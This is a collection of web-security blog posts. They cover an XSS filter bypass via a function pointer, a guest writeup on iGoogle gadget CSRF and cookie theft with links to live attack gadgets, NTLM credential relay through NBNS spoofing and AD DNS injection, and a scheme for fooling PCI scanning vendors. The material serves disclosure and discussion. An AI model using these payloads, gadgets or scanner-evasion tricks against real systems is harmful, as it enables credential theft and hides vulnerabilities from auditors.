I’m always amazed at people who think that blocking alert() is actually an effective way to block cross site scripting. I’ve seen it myself, and it’s one of those things that never sounded right even the first time I saw it years ago. It sounds even less right, and here’s an email from a friend of mine, Jon McClintock:

I just got a nice XSS “win” that I thought I’d share with you. The app had an odd filter that would block JS calls to the alert() method.

So this (invalid JS) input got in:

";alert"xss";

But this didn’t:

";alert("xss");

The usual whitespace and comment tricks didn’t work either, and other useful methods, such as eval, were also blocked. So what do you do? Function pointer, of course:

";var foo=alert;foo("xss");

That’s a great example - pointing to functions, but what about things like confirm(), or prompt()? Sure, maybe all those are blocked too, but come on…. it’s time to start addressing the problem, rather than trying to block one of the hundreds of ways someone can initiate the attack. Anyway, great example!

Arian Evans pointed me to an interesting article over at Security Focus discussing how 25,000 machines were compromised specifically to launch the ANI MS cursor exploit. There are a few interesting parts to this. The first is that it appears that the Dolphin’s stadium hack a while back was not unique - it was just part of this larger attack. The second is that SQL injection was the most likely culprit for the large scale compromise.

I know we’ve all thought about it, but for some reason this one is hitting a little more than others. Partially because I think we all like to think we are unique and every hack needs to be forensically important. Think about if you were running the Miami Dolphins and you were to see this happen to your site. You’d want answers, and you’d want them now. And then after spending countless hours and tons of resources you’d find that the answer is you were just one hack of 25,000. The Dolphins had an interesting website but it was actually insignificant in the grand scheme of the attack.

It’s an interesting thought to think that one attack compromised 25,000 websites, which in turn could have compromised potentially hundreds of thousands or even millions of remote machines via the ANI payload through XSS. And ultimately, the attackers are still at large. Pretty scary concept when you think about the low level of diversity in open source web applications, making them much more susceptible to attack. Maybe that tiny webapp hole isn’t so tiny after all.

To further illuminate the problems with Google Gadgets that Tom Stripling spoke about at the OWASP conference, I asked him to type up the details so that we could all take a look at it. I think this is a fairly thorough writeup. Obviously there is some more work to be done here, but ultimately, I think this proves the point:

First of all, here is the Google documentation on inlining, if you’re
interested:

http://www.google.com/intl/en/apis/gadgets/fundamentals.html#Inline

My original goal was to CSRF a module onto someone’s page, then run another CSRF attack that inlined it, and then go to town. Google has thwarted my early efforts, but I’m not convinced that it isn’t possible.

Google has a parameter called “_et” that is set to a random value and required on every change to the iGoogle page. Without this value, you can’t submit a valid request to load a module, so it prevents basic CSRF.

It turns out that the parameter also shows up on the gmodules.com domain for certain “approved” gadgets. So, I was going to steal this parameter with AJAX and use it force a module on someone’s page.

The initial attack would involve someone following a link to the page you identified that allows XSS on gmodules.com. A link like this:

http://gmodules.com/ig/creator?synd=open&url=http://3mu.us/g/csrf_load_evil.xml

This gadget (which is never meant to actually end up on someone’s page) loads an AJAX request to get the page for another (approved) gadget, steals the _et param and tries to submit a request to google.com that loads the gadget.

It doesn’t work. I had to cut off my testing in the middle because I realized I probably needed to create slides if I was going to present this stuff, but I did notice that the _et param I was stealing was different than the one on my iGoogle home page, so it may be that Google has thought of this and is preventing it by using different _et values for the different domains. It may also be that I have a bug in my JavaScript somewhere. I will be looking into this more as soon as I have time (but I have no idea when that will be).

So right now, I still can’t cross over from gmodules.com to google.com without user interaction. Still, the user interaction is pretty weak. They provide a preview page that will load a module with one click:

http://www.google.com/ig/adde?moduleurl=http://3mu.us/g/inline_cookie_theft.xml/

And then another click to inline the module. By the way, don’t load that on your real google account. It actually does send your cookies offsite. Feel free to download, play with, or publish any of these gadgets. Here’s another one that just does a basic phishing attack:

http://3mu.us/g/phishing.xml

That’s the basics of where I’ve gotten so far. I’ll keep you posted if I figure out that _et issue.

So yes, in theory, anything sensitive you have on Google is once again at risk. This is based off the original hole discussed where Google felt the hole was intended behavior. No apology needed, Google. Great work by Tom Stripling!

Whelp, I’m finally back from the OWASP conference. I feel completely beat up (like I felt after DefCon this year). In a good way, of course, just too much stuff going on. Let’s focus on some highlights, shall we? There were tons of big names in the webappsec space there in full force. Not the least of which, that I had wanted to meet up with were Samy (a la Samy worm), pdp, Jeremiah Grossman, Dinis Cruz, Stefano Di Paola, Ryan Barnett, Shreeraj Shah, Tom Brennan and many more…

One noteworthy speech was from the work by Tom Stripling, where he was able to turn the gmodules.com XSS exploit into a Google.com exploit. I guess perhaps Google should read their own definition of cross site scripting that they quoted to me about this very same issue. Not to gloat too much but I really hope Google enjoys that slice of humble pie. I don’t consider myself to be Google’s enemy, but when companies don’t listen, they have no one to blame but themselves. That said, I did talk to Google while I was there, and they expressed an interest to work more closely together going forward. As always, I’m a sucker for level headed thinking, so hopefully something good will come of that (more on that in a minute). Hopefully Tom will send me some technical detail that I can publish to go into more detail about how it worked.

Ryan Barnett had a really interesting speech on how OWASP has set up a fairly large network of honeypot proxies to watch and log bad guys attacking others. It wasn’t that that part was interesting (we’ve known for a long time that you shouldn’t consider proxies to be a good way to anonymize yourself) but the data that he logged was really interesting - specifically the use of these networks for click fraud.

My speech went well - I thought it was supposed to be a 40 minute speech (all the others were scheduled for 40 minutes, but mine was scheduled for over an hour). So I had looots of time for Q&A. Whoops! My speech was about how browsers had been insecure in the past and how that evolved into what we know. I also gave some long term suggestions (which probably deserves a separate post, to be honest). There were some good questions asked, and I managed to convince everyone that I knew what I was talking about. What stuck me was that not that many people in the webappsec space really knew much about browsers. It’s the other half of what we work on, so I think it’s critical that we keep a close eye on what browsers are doing and how they are evolving to help us be secure.

While I was there several people asked me to head up a browser security group, probably with six or seven members (to keep it lean, mean and potent). But the likely people involved will be a representative from two or three browser manufacturers (IE, FF and maybe Safari if we can find someone who’s interested over there) as well as a few large companies with web presence (like eBay and Google - both of whom have expressed interest). Perhaps we can push forward some of the changes I have been talking about for three or more years.

Samy’s speech was by far the best one I attended - not for the technical meat, because I think we are all pretty educated on the technical details by now, but because the story was just hilarious. Jeremiah and I got a picture with him wearing “Samy is my hero” shirts. I haven’t laughed that hard in a long time! But to quote a sanitized version of what one guy said, “Samy knew nothing about webappsec and one day he walked in, dropped his pants and took a huge dump on our industry and then left again. And we just looked around at one another and said, ‘What just happened?’” Yup, he completely changed our industry in ways that will probably never be completely understood. He may have caused a lot of trouble, but he really did come out with a lot of friends (myself included). One funny quote was that at some time some police officer pulled him over and mentioned that he had been convicted of theft and something else, and Samy said, “The theft charge is BS - I didn’t steal a million friends!” Cracked me up. Samy was not allowed to touch the computer during the speech, which required some coordination so that other people write the power point deck and operated it during his speech. What a life!

The panel I was on (about vulnerability disclosure) was mostly uneventful although one comment made by Oracle set me off a little. They said they don’t work with people who do irresponsible vulnerability disclosure. I think that’s so backwards and something Microsoft has really gotten right. Companies need to understand that the only way they are going to get hackers on their side is to reach out to them and figure out what they know, what makes them tick and get the hackers to start working with them instead of against them. Not to pick on Oracle on that one, but I’ve seen that attitude a lot and I think it’s a dangerous route (one that I’ve seen fail countless times now).

Anyway, it was a great time, punctuated by lots of laughs, and I’m really looking forward to the next one in New York/New Jersey lead up by Tom Brennan. Having been to just a normal meeting there, I have high expectations for the next one. For everyone I met while I was there, thanks for taking the time to talk to me! It’s always nice to put faces to the names and have some interesting conversations with smart people.

In other quick news, there is an interview with me in (in)secure magazine and if you haven’t already seen it on Jeremiah’s blog, the WhiteHat roundtable was posted online. Also, there is a rumor that Fortify is releasing a 22 minute movie about hackers that I am in. Okay, maybe it’s not a rumor, but I’m not sure what the timelines are on that one or how they’re going to release it. I have gotten a sneak preview and it had a pretty interesting cast of characters in it. Lastly, id and I are doing a system migration this weekend, so if you notice(d) some downtime that’s what’s going on. Anyway, that is all for now!

This is a totally theoretical post, so if you are looking for something concrete, skip this post. I had an interesting, albeit pedantic thought on the way into the office today. One of my clients has a problem with people getting into their system, but ultimately there’s no way to really stop it since they must allow random people from the Internet to sign in using credit cards. Sure they could use other factors of authentication (Eg: authentify) to prove they are the card holders, but bear with me for a second. So I was thinking, what if somehow they were able to knock off the bad guys after ten minutes of activity. Even if it’s a magical blackbox process, it doesn’t matter, the bad guys can only be online for 10 minutes and then they get booted. That would actually cause another interesting scenario.

Let’s say those same bad guys had access to other merchant accounts (maybe their own) and knew which ones were low value due to chargebacks. That is, they don’t want to mess up their own merchant account by processing those credit cards for illicit activity. However, the ones that they received charge backs on, are fair game to use however they chose. Sure, they only last ten minutes, but who cares? They are worthless anyway. Meanwhile, the processing explosion occurs, while the bad guy does their ten minutes of bad things (whatever they are).

Now let’s say after a month of this the upstream bank that’s doing the merchant processing notices a huge uptick in chargebacks. Suddenly those accounts are costing the merchant money in fines. Another month passes and the bank tells them to fix the problem or they’re getting cut off. The next month their business is no longer authorized to clear. Denial of service via merchant charge backs! Weird, eh? Of course the merchant does have one piece of recourse and that is to immediately refund the charged card once they realize the account has been used for illicit activity. But it’s an interesting thought.

I don’t get things like this too often in my inbox, but when I do, wow… It makes me really worry about the concept of single sign-in and the advocates who claim it solves “the problem”. I just think it adds another problem, personally - and that is you are always as vulnerable as the weakest link (in this case, the browser). Need proof? Onto NTLM! This is an email from natron. I think it speaks for itself:

As things always go, I’ve been too busy to really lock this down and get it functioning smoothly, but I have found out some interesting things that I wanted to share. As a reminder to what I had been working on, I was interested in seeing what other effects DNS-rebinding might have, and I was looking for common internal vulnerabilities that are low-risk as long as they remain internal, but may be high-risk if you can hit with DNS rebinding. Specifically, I began to look at ways to hijack NTLM auth over the internet. Here are the few things I’ve uncovered in my spare time over the last few months:

NTLM-over-HTTP occurs automatically if a) the client is a member of a domain and b) the server is in either the trusted zone or the intranet zone. A server is placed in the intranet zone if it does not contain any TLDs, such http://notlocal/. In many (most? all?) configurations, a server is placed in the trusted zone if it ends in the same domain, such as http://notlocal.domain.com, where the user is a member of domain.com.

I’ve been playing with ways to fool the browser into bouncing http://notlocal or http://notlocal.domain.com to an external address through the use of DNS rebound java applets. If you can do this, you can steal NTLM credentials over the internet.

Getting a client to accept spoofed NBNS responses is pretty easy:
• Acceptance of an NBNS (e.g. WINS) response is the same as DNS; it only requires a transaction ID that matches the request.
• Sane devices, such as network appliances and printers, randomize the request’s transaction ID so it is (at least upon cursory examination) unpredictable.
• The Windows XP machines I’ve come across don’t do any randomization. At boot, it starts at 0×8000 and iterates upwards by 1-4 per request (e.g. 1st is 0×8000, 2nd is 0×8003, 3rd is 0×8004, ad infinitum).
• A java applet can spam the requesters IP address (identified by a call to getlocalhost() or whatever the java function is) with spoofed NBNS responses, iterating up from 0×8000 to whatever you want. This is incredibly fast without hogging very many system resources. You can effectively let it loop from 0×8000 to 0×9ffff without causing a noticeable impact on the browser; it can merely look like it’s still waiting to load.
o On my client networks that I’ve been paying attention to since noticing this, it’s incredibly rare to see a Windows machine making NBNS requests above 0×9fff. I’m assuming this is because the networks I’m on don’t have very many machines that are left on over night.

Injecting invalid data into AD’s DNS servers is easy, with some prereqs:
• If you know the domain controller’s address, you can create a valid update request that will point the name of your choosing to an arbitrary IP address. This address can be non-local.
o For example, if you were on sectheory’s AD network, you can issue a request to the domain controller that says “register the IP address 123.123.123.123 to imnotreal.sectheory.com”.
o The servers do appear to ignore packets sent to broadcast and multicast addresses, so it requires you to know the internal IP address of the domain controller. I assume any internal domain controller will work, but I haven’t done much checking here yet.

When an AD-authenticated browser issues a request like GET http://notlocal/temp.gif, it does the following:

1. DNS requests for notlocal.sub.domain.com, waits for responses
2. DNS requests for notlocal.domain.com, waits for responses
3. NBNS requests for notlocal, waits for responses

The NBNS response is the easiest to do, because it doesn’t require any previous recon to identify the DNS/AD servers. However, timing is tricky, because it has to pass through all of the previous options before it checks NBNS.

(As an FYI, a computer not authenticated to a domain immediately goes to the NBNS requests, but non-authenticated computers won’t auto-auth to resources in the “Local Intranet” security zone, so I don’t see this as very useful right now. However, you may find this interesting to bypass other security restrictions, as I assume the “Local Intranet” zone is much less secure than the “Internet” zone in default configurations.)

After I confirmed this was working, I switched gears to get metasploit’s ntlm_relay code working through “NTLM-over-HTTP” (it currently only supports SMB). Once that works, I’ll be working on doing the actual DNS rebinding to make it work in a real environment.

Yes, NTLM is useful, but as long as these types of intranet hacking vulnerabilities exist in browser space, I think it’s best to steer clear of them, and that doesn’t just include DNS rebinding. Nice work from natron!

The other day, I wrote up a pretty thorough writeup on Darkreading, about the consequences for TJX after their huge privacy breech. As many of you know, having this blog long enough, I’m a huge consumer advocate, and I spend a lot of time talking with “normal” people (people who know little to nothing about technology), as it helps me gain perspective on what their lives are like. Say what you will about consumers, not understanding them is not understanding how to build secure interfaces. Anyway, the important part of that article was this quote:

Interestingly, we collected anecdotal evidence from some users who said that they won’t stop shopping at TJX stores, but they will stop using their credit cards there. That’s a double win for TJX. Not only are they retaining their customers, but they are cutting their credit card chargebacks and processing fees for a percentage of their clients.

So it’s a win for TJX to lose nearly 100MM credit card numbers. But then I started talking to people about the recent news about Burlington Coat Factory, JCPenney, and Macy’s selling raccoon dog fur (a type of dog). Now _that_ got a different reaction. Sure, ID theft is bad, but not bad enough to stop getting great deals. But if you kill a dog, every person I asked about it (most of whom had never heard this by the way) said they either had serious reservations about ever shopping there again, or flat out decided to boycott them entirely. I doubt that makes enough of a difference to make them opt for different types of fur or against fur entirely, but it’s at least something to make you stop and think about where the social values of the American public lies.

I was anonymously sent this link to an article talking about MySpace phishing attacks. The article talks about the newest phishing scam, which essentially just puts username and password fields on user’s profiles, asking for their information. Same old attack, just another day. But this is the part of the article that is actually noteworthy. The MySpace CSO, Hemanshu Nigam, suggests the following will help you from phishing attacks on their site:

But MySpace’s Nigam offers this advice to prevent phishing scams as well:

* Install the latest operating system and auto-install for critical updates.

* Use a firewall.

* Use anti-virus and anti-spyware software and keep them updated.

Does anyone else see a problem with this? Absolutely none of these will protect you from MySpace phishing attacks. So the CSO of MySpace either doesn’t understand the problem he faces, or he has no idea how to help consumers solve that problem. Either way, it’s scary. There are possible solutions to the problem in the browsers, but those are a long ways off. I’ll be talking about a number of them this week at the World OWASP/WASC conference in San Jose. In the mean-time, ignore the CSO of MySpace’s advice. His advice may help you solve other security issues, but not MySpace phishing attacks, unfortunately.

There’s two really interesting threads, one on pdp’s site and one on Bedford’s site about the use of Firefox’s jar: directive to inject bad content into other people’s site (if they have redirectors in them). Pretty nasty stuff. Turning off all non HTTP directives in Firefox is probably a good idea at this point, given the sheer number of holes that have been identified there.

But this is just another in a list of reasons why Google really does need to shut down these redirectors. Normally it just involves people losing their identities or abusing the trust relationship people have with the Google.com domain. This one can actually steal your information from Google. I’ve been pushing on them for three years now to fix them, and they still haven’t. Granted, this jar: post is really a browser issue and not a redirector issue on Google specifically, but why risk people’s safety when they only purpose for those redirectors is to track their users? I for one vote to shut the redirectors down. Anyway, very interesting articles by pdp and Bedford!

During our webcast on Thursday (with Jeremiah, Chris and Jordan), one of the things we were talking about was PCI. Namely, one of the things I brought up was a company who wanted to do the bare minimum to pass their audits. The easiest way I could come up with on the webcast was just to use a low cost (and I’m making the assumption it’s probably not super robust) ASV (approved scanning vendor). Theoretically, if the scanner doesn’t do a good job, and only finds a few small problems, it’s easier to pass. I know some companies are doing this, so it’s not a theory. But then I went home, and started thinking about it - perhaps there is a more subversive way, even.

Let’s say I’m a bad company, or just a company that wants to do the right thing, only after the holiday season (during which our company is in a quiet period for legal reasons). The last thing I want is to get fined for being compliant in one way (quiet periods) just to fail in another way (PCI). So I make the executive decision not to modify my code because too much revenue is potentially at risk, and leave the holes intact. But now I have the PCI threat. Do I have an option? Well, one thing I could do is simply get the IP addresses of the cheapo ASV I’m using (maybe by having them scan a few brochure-ware sites with no vulnerabilities while I log all the traffic). Once I get those IPs, I can simply block all access to my domain from those sites on my firewall, except for port 80. Then I just put up a WAF or a transparent proxy of some sort to give some fake content that is free of vulnerabilities.

So the ASV finds no vulnerabilities (because indeed, they are seeing something different from your real website). So you’ve effectively tricked the ASV into thinking your site is completely safe. Meanwhile you can go about your business and either never fix your vulns or fix them much later, at your leisure. If for some reason someone ever calls you out on it, you can say you were unaware of their IP addresses, but you saw some bad behavior and blocked it. It’s the ASV’s fault that they were unable to find the issue (and in reality, that is a true statement, because real attackers can and do use lots of IP addresses).

So that goes back to my real problem with PCI and that is that there is no way for normal people to alert the PCI “authorities” to the fact that there are vulnerabilities. If I find an issue with a site, it should be possible for me to communicate to the maintainers of PCI - and get them to investigate when there are security issues with someone’s site. Sure, a company can block an ASV - but they won’t block all their users, and if they would, they wouldn’t have much of a security problem, now would they?